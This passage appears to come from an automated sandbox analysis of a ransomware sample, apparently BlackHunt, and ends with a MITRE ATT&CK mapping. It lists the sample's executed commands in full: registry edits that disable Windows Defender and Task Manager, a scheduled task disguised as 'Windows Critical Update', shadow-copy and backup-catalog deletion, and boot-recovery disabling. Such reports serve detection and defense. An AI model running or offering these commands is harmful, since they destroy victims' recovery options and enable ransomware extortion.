  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4124
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:5084
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1160
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3324
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2192
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe" /F
  2⤵
  PID:4240
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4544
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1564
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:64
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2824
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2036
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4900
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2256
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1420
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1308
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3960
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2272
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5948

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1772

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6096

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:400

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery